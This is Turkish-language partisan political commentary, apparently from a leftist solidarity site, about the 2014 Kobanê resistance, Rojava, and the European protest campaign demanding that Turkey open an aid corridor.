    ABD’nin bu planı, kısa sürede Türk devletinin de planı haline geldi. Vurarak öldüremediklerini parçalayarak öldürme planı ile ‘yardım’ koridorunu açtılar.

    Bu plan, Barzani için de en uygun planlardan biriydi. Rojava Kantonlarının başarılı olması demek PKK’nin Güney Kürdistan’da itibarının artması ve Barzani’nin iktidar tekelinin kırılması demekti. Direnişi ile dünya halkları nezdinde büyük bir itibar kazanan Rojava/ Kobanê’nin göz göre göre boğazlanmasına Barzani yönetiminin seyirci kalması ise Barzani politikasının dört parçadaki Kürtler içinden silinmesi demekti. Bu nedenle Duhok’ta yapılan ortak askeri ve siyasi yönetim anlaşması ile birlikte Barzani yönetimi de direnişe destek (henüz sembolik düzeyde) vermeye başladı.

    Sonuç olarak; Kobanê direnişi sermaye güçlerini köşeye sıkıştırmış, taktik değişikliğine zorlamıştır. Rojava devrimine yönelik tehdit hala devam etmektedir. Afrin Kantonunun El Kaide’nin Suriye kolu olan El Nusra tarafından kuşatılmaya başlamış olması ise tehdidin bir başka boyutudur.

    YPG/YPJ’ye yön veren iradenin asla teslim olmamak olduğu pratikle sabittir. Fakat savaşın askeri ve politik bir güçle yürüdüğü de sır değildir. Kobanê direnişinin yanı sıra Kuzey Kürdistan, Avrupa ve dünya topraklarında sürdürülen dayanışma eylemlerinin yarattığı politik basıncın önemi açıktır.

    Dolayısıyla, Avrupa’da sürdüreceğimiz dayanışma eylemleri Rojava devrimin geleceği bakımından hala oldukça önemli bir yerdedir. Dayanışma eylemlerinin çapındaki her düşme, emperyalistlerin ve sermaye devletlerinin elini güçlendirecek, pazarlık gücünü arttıracaktır.

    Bu nedenle; dünyanın tüm ilerici, devrimci güçleri ve kadınları Kobanê’ye ve Rojava devrimine sahip çıkmalı, dayanışma eylemlerini kesintisizce sürdürebilmelidirler.

  • Gördüler, duydular, konuşuyorlar… Şimdi sıra; yardım koridorunun açılmasında…

    Gördüler, duydular, konuşuyorlar… Şimdi sıra; yardım koridorunun açılmasında…

    Haftalardır süren Kobanê ile dayanışma eylemlerimiz nihayet sonuç vermeye başladı. Kör, sağır, dilsizleri oynayan ve kısa sürede Kobanê’nin düşeceği hayallerini kuran emperyalistler, yanıldıklarını anladılar ve muhteşem direniş karşısında şaşkınlıklarını itiraf etmeye başladılar.

    Avrupa Birliği (AB); “Kobanê sakinleri uluslararası topluma temel haklarını ve değerlerini savunmak için tüm yöntemleri kullanma kararlığını, zulme karşı direnmeyi gösterdiler.” diyerek şaşkınlıklarını ifade ederken, Kobanê’den göç ederek değişik coğrafyalara dağılan Koban’lilere ise yardım gönderme zorunluluğu hissetmeye(!) başladılar. 3.9 milyon Euro yardım yapmayı kararlaştırdıklarını belirten AB emperyalistleri, Türk devletinin yardım koridoru açması gereğini de ifade ediyorlar. Keza Birleşmiş Milletler (BM) de benzer bir yaklaşımla Türk devletinin yardım koridoru açması tavsiyesinde bulunuyor. ABD’de ise resmi sitede Kobane’ye silah yardımı için imza kampanyası açılmış(!). Kürdistan’ın dört parçasından birini işgal eden İran devleti ise Türk devletinin İran’ın yardım gönderebilmesi için sınırları açmadığını belirtiyor…

    Evet, haftalardır kör, sağır ve dilsizleri oynayan birçok emperyalist ülke ve bölge gerici yönetimleri; ansızın görmeye, duymaya, konuşmaya başladılar. Fakat hala elde tutulacak bir şey yok. Görmeyi, duymayı, konuşmayı sağlatan ise onların ‘yüce gönülleri’ değildi. Ellerindeki pek çok istihbarat örgütü ve mekanizmaları ile onların elde ettikleri bilgiler bizlerden çok daha fazlaydı. Fakat akıllarının alamayacağı / alamadığı bir şey vardı; ÖLÜMÜNE DİRENİŞ!.. Ve bu direniş, ne sadece Kobanê savaşçılarının görkemli direnişiydi ve ne de Kuzey Kürdistan’da yaşanan 90’lı yılları da aşan ayaklanmaydı. Uzun yıllardan sonra, Kürdistan’ın dört parçası ilk defa bu denli kendi coğrafyalarında ve dünyanın dört bir yanında el ele vererek Kobanê için savaş siperlerine, sokaklara dökülmüşlerdi. Adeta yalnızdılar, ama küresel bir direnişle ayaktaydılar.

    Ağır savaş silahlarına sahip faşist DAİŞ çeteleri ve bu çetelere lojistik destek sağlayan, para ve silah yardımında bulunan daha da ötesi içerisinde askeri güçleri de bulunan (çeteler içerisinde Türk devletinin kirli savaş piyonları “özel tim”lerin de yer aldıkları belgelendi) bölge gerici ve faşist devletleri karşısında ellerindeki sınırlı imkan ve savaş silahları ile direnen Kobanê halkının bu kadar uzun süre direnebileceğini sermaye devletlerinin hiç biri beklememişti. Kürt ulusunun bölünmüşlüğünden medet uman emperyalist – kapitalistler direnişin bu çapta yaygınlaşacağını ummamışlardı…

    Haftalardır yerli halkın ve örgütlerinin desteğini alamamış olmasına karşın sokaklarda olan, her gün her gece birden fazla eylemlerle seslerini, çığlıklarını duyurmaya çalışan Kürt halkı ve dostları; geçtiğimiz Cumartesi günü Avrupa sokaklarını yüz binlerle doldurdular… Londra, Paris ve İsviçre’nin Basel kentinde 10 binler sokaklara çıkarken Almanya’nın Düsseldorf kentindee ise 100 binler sokaklara çıktı… Kürdün bulunduğu her ülke, her kent sokaklara akmıştı…

    Haftalardır sürdürülen sokak gösterileri, açlık grevleri, imza kampanyaları, işgaller gibi pek çok kitlesel eylem ve araçlarla seslerini ve taleplerini yükselten Kürt ulusu ve dostları, Avrupa burjuvazisine olduğu gibi yerli halkın ilerici, devrimci, demokrat kuvvetlerine de seslerini duyurabildiler. Artık eylemlerimiz, yerli dostlarımızın da desteğini almaya başladı…

    Avrupa burjuvazisi ve medyası, artık kör, sağır ve dilsizleri oynayamaz hale geldi. Olası Kobanê yıkımı artık onların da korkulu rüyası olmaya başladı. Şimdi sokakları dolduran yüz binlere “suçlu” adresi göstererek kendilerini kurtarmaya çalışıyorlar…

    Bu defa başaramayacaklar!.. Kürt ulusu ve dostları, bugünlere kolay gelmediler. ABD, AB, Türkiye,… hepsinin aynı gemide olduklarını biliyorlar… Emperyalistlerin, istedikleri yerlere silahları nasıl taşıdıklarına tanıklar… ABD, 1973’te İsrail siyonist devletini Arap ordularının kuşatmasından Golda Meir’in bir telefonuyla, hava köprüsü kurarak ‘kurtarmış’tı. “Türkiye izin vermiyor”, “sınırları açmıyor”a sığınamazlar!.. Sömürgeci Türk devletinin bu cesareti kendilerinden aldıklarını biliyorlar.

    İşte bundandır ki; emperyalistlerin, özellikle de AB emperyalizminin on yıllardır yaptıkları “demokrasi”cilik oyunu, Kürt ulusunun ve dostlarının umutlarını ve militan mücadele kararlılıklarını elimine edemez, hareketi sönümlendiremez!..

    Kürt ulusu ve dostları biliyorlar ki Kobanê saldırısı, salt Kobanê ile sınırlanacak bir saldırı değildir. Ortadoğu halklarının tek ve ilk özgür yaşam ışığı Rojava’yı ortadan kaldırarak bir yandan Ortadoğu halklarının özgürlük umutlarını kurşuna dizerlerken öte yandan tek devrimci odak olarak Ortadoğu’da belli bir güce ulaşan ve emperyalist planları tehdit eden Kürt özgürlük hareketini bitirme saldırısıdır.

    Bu saldırıya karşı direniş, sonuç alıncaya dek devam edecektir. Bundan hiç kuşkum yok!.. Şimdi yardım koridorunun açılması için sokakları kuşatmaya!..